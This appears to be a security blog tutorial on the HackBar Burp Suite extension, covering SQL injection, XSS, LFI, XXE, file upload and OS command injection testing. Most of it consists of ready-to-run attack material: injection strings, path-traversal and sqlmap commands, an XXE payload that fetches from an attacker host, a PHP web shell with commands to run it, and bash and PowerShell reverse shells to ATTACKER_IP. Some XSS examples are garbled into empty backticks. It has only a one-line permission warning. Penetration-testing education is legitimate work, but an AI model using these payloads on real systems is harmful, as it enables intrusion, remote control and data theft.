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Introduction:
Manual web application penetration testing remains the gold standard for uncovering nuanced vulnerabilities that automated scanners miss. However, repeatedly typing and encoding payloads for SQL injection, XSS, and LFI wastes precious time and introduces human error. The HackBar Burp Suite extension solves this by embedding pre-built payload dictionaries and encoding tools directly into your workflow, transforming slow, repetitive manual testing into a streamlined, efficient process that amplifies—not replaces—your expertise.
Learning Objectives:
- Install and configure the HackBar Burp extension to accelerate manual payload delivery
- Execute pre-built attacks for SQL injection, XSS, LFI, XXE, file upload, and OS command injection
- Combine HackBar payloads with manual validation techniques to increase bug bounty efficiency
You Should Know:
- Installing HackBar and Setting Up Your Burp Environment
HackBar is a free Burp Suite extension that adds a toolbar for quick payload insertion and encoding. The post emphasizes eliminating “copy-paste chaos” – here’s exactly how to set it up.
Step-by-step guide:
1. Open Burp Suite (Professional or Community edition).
- Navigate to the Extender tab → Bapp Store (or manually install from GitHub if BApp store is unavailable).
- Search for “HackBar” – look for the extension by “Corey Harding” or similar verified contributors.
- Click Install. Burp will download and load the extension.
- After installation, a new HackBar tab appears in the main Burp window (usually near Repeater, Intruder).
- To verify, send any HTTP request to Repeater, then click the HackBar tab. You should see dropdowns for “SQLi”, “XSS”, “LFI”, etc.
Linux/Windows commands (no direct commands, but browser proxy config):
– Ensure your browser (Firefox/Chrome) proxies traffic to Burp (default 127.0.0.1:8080).
– Install FoxyProxy extension for quick toggle.
Tutorial tip: After installation, right-click inside any Repeater request and look for “Send to HackBar” – this loads the current request into HackBar’s encoder/decoder panel for rapid payload injection.
- Speeding Up SQL Injection Testing with Pre-Built Payloads
SQL injection remains a top OWASP risk. HackBar provides instant access to column count detectors, UNION payloads, and login bypass strings. Instead of typing `’ OR ‘1’=’1` manually, you select it from a dropdown.
Step-by-step guide for column counting:
- Identify a parameter vulnerable to SQLi (e.g.,
?id=1). - In Burp Repeater, right-click and send the request to HackBar.
3. In HackBar, expand the SQLi dropdown.
- Select “Order By” payloads – e.g.,
order by 1--,order by 2--, etc. HackBar auto-appends to your parameter. - Send each modified request to determine the number of columns.
- Then choose “Union Based” payloads like `union select 1,2,3,4–` – adjust based on column count.
Example payloads from HackBar (SQLi section):
- Login bypass: `admin’ –` , `’ or 1=1–`
– Error-based: `’ AND extractvalue(1,concat(0x7e,version()))–`
– Time-based blind: `’ AND SLEEP(5)–`Linux command for manual validation (if you have DB access):
After finding a vulnerable endpoint, use sqlmap to automate deeper exploitation sqlmap -u "http://target.com/page?id=1" --dbs --batch
Windows (PowerShell) alternative: Use Invoke-WebRequest with crafted payloads, but HackBar within Burp is far faster.
3. Accelerating XSS Discovery with HackBar’s Payload Library
Cross-site scripting requires testing dozens of vectors. HackBar bundles common XSS payloads, from simple alerts to event handlers and DOM-based vectors.
Step-by-step:
- Locate a reflection point (e.g., search parameter, URL fragment).
- In Burp Repeater, highlight the parameter value and open HackBar.
3. Under XSS, select:
– `` (basic)
– `”>` (tag injection)
– `javascript:alert(1)` (URL context)
– `’ onmouseover=alert(1)//` (attribute injection)
4. HackBar automatically URL-encodes the payload if needed (toggle the “Encode” checkbox).
5. Send the request and observe response in browser or Burp’s renderer.
Additional commands for validation (Linux):
Use curl to test reflected XSS without GUI curl "http://target.com/search?q=<script>alert(1)</script>" | grep -i "alert"
Windows: Use `curl.exe` similarly in PowerShell 7+.
Pro tip: Combine HackBar with Burp’s Comparer to diff responses between encoded and unencoded payloads – reveals filtering bypass opportunities.
- Local File Inclusion (LFI) Testing: Instant Path Traversal Payloads
LFI vulnerabilities let attackers read sensitive files like `/etc/passwd` or Windows boot.ini. HackBar offers a dedicated LFI dictionary with common traversal sequences and wrapper techniques.
Step-by-step for LFI exploitation:
- Find a parameter that includes a file (e.g.,
?page=about.html).
2. Send request to Repeater, then open HackBar.
3. In the LFI dropdown, select:
– `../../../../etc/passwd` (Linux)
– `..\..\..\windows\win.ini` (Windows)
– `….//….//….//etc/passwd` (bypass filters)
– `php://filter/convert.base64-encode/resource=index.php` (PHP wrapper)
4. HackBar appends the payload – send and check response.
5. For successful LFI, use HackBar’s encoder to base64-decode PHP filter output.
Linux command to test manually:
Curl with path traversal curl -s "http://target.com/view?file=../../../../etc/passwd"
Windows (command prompt):
curl http://target.com/view?file=..\..\..\windows\win.ini
Mitigation: Disable allow_url_include, use whitelists, and set proper file permissions.
5. XXE Injection: Ready-Made XML Payloads
XML External Entity (XXE) attacks can read files, perform SSRF, or trigger DoS. HackBar includes XML payloads that you can inject into SOAP endpoints, XML uploads, or any XML-parsing input.
Step-by-step:
- Identify an endpoint accepting XML (e.g.,
Content-Type: application/xml). - In Burp Repeater, replace the XML body with HackBar’s XXE payload:
<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root>
- Send request – if vulnerable, `/etc/passwd` appears in response.
4. For out-of-band (OOB) exfiltration, use:
<!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd"> %remote;
Linux listener for OOB (attacker machine):
Start a simple HTTP server to capture the request python3 -m http.server 80 Or use netcat for raw data nc -lvnp 4444
Windows alternative: Use `wget` or `curl` to fetch, but Python HTTP server works cross-platform.
6. Unrestricted File Upload: Generate Web Shells Instantly
HackBar includes a feature to generate basic web shells (PHP, ASP, JSP) directly from the tool, saving you from writing or copying shell code.
Step-by-step:
- Find a file upload form (e.g., profile picture, document upload).
2. Intercept the upload request in Burp Proxy.
- In HackBar, go to the File Upload section.
4. Select your target language (PHP, ASPX, etc.).
- Click Generate Shell – HackBar produces code like:
<?php system($_GET['cmd']); ?>
- Save as `shell.php` and attempt to upload via the intercepted request.
- If upload succeeds, access `http://target.com/uploads/shell.php?cmd=id` to execute commands.
Linux commands to test upload directory:
Use curl to attempt directory listing if index is missing curl http://target.com/uploads/ Test the shell curl "http://target.com/uploads/shell.php?cmd=whoami"
Windows PowerShell: Similar `Invoke-WebRequest` with parameter.
Mitigation: Validate MIME types, rename files, store outside webroot, and use Content-Disposition.
- OS Command Injection: Launch Reverse Shells from HackBar
HackBar’s OS Command injection payloads include classic commands for Linux and Windows, plus reverse shell one-liners. This dramatically reduces manual typing during bug bounty.
Step-by-step to test and get a reverse shell:
- Locate a parameter that may be passed to system shell (e.g.,
?ping=127.0.0.1,?file=test.txt;).
2. In HackBar, under OS Command, select:
– `; id` (Linux)
– `| whoami` (Windows)
– `|| dir` (fallback)
3. Observe response – if command output appears, injection is confirmed.
4. Now choose a reverse shell payload from HackBar (e.g., ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1).
5. Replace `ATTACKER_IP` with your machine’s IP.
- Set up a listener before sending the payload.
Linux listener command:
nc -lvnp 4444
Windows reverse shell payload (HackBar includes):
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Important: Only test on systems you own or have explicit permission. HackBar accelerates your workflow, but manual verification remains critical.
What Undercode Say:
- HackBar doesn’t replace deep manual testing – it eliminates repetitive typing, letting you focus on logic flaws and chaining vulnerabilities.
- The true power lies in combining HackBar’s instant payloads with Burp’s Intruder, Repeater, and Comparer for semi-automated, context-aware exploitation.
- Many bug bounty hunters overlook this extension, yet it can cut testing time by 30-50% for common web flaws.
Prediction:
As web applications grow more complex with API-driven architectures and client-side frameworks, tools like HackBar will evolve to include GraphQL injection payloads, serverless misconfiguration tests, and AI-generated context-aware vectors. However, manual testing skills will remain irreplaceable – automation accelerates, but human intuition discovers the unexpected. Expect to see HackBar-style extensions integrated natively into next-gen pentesting platforms, blending speed with deep customization.
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Reported By: Ahmetomeroglu Burp – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
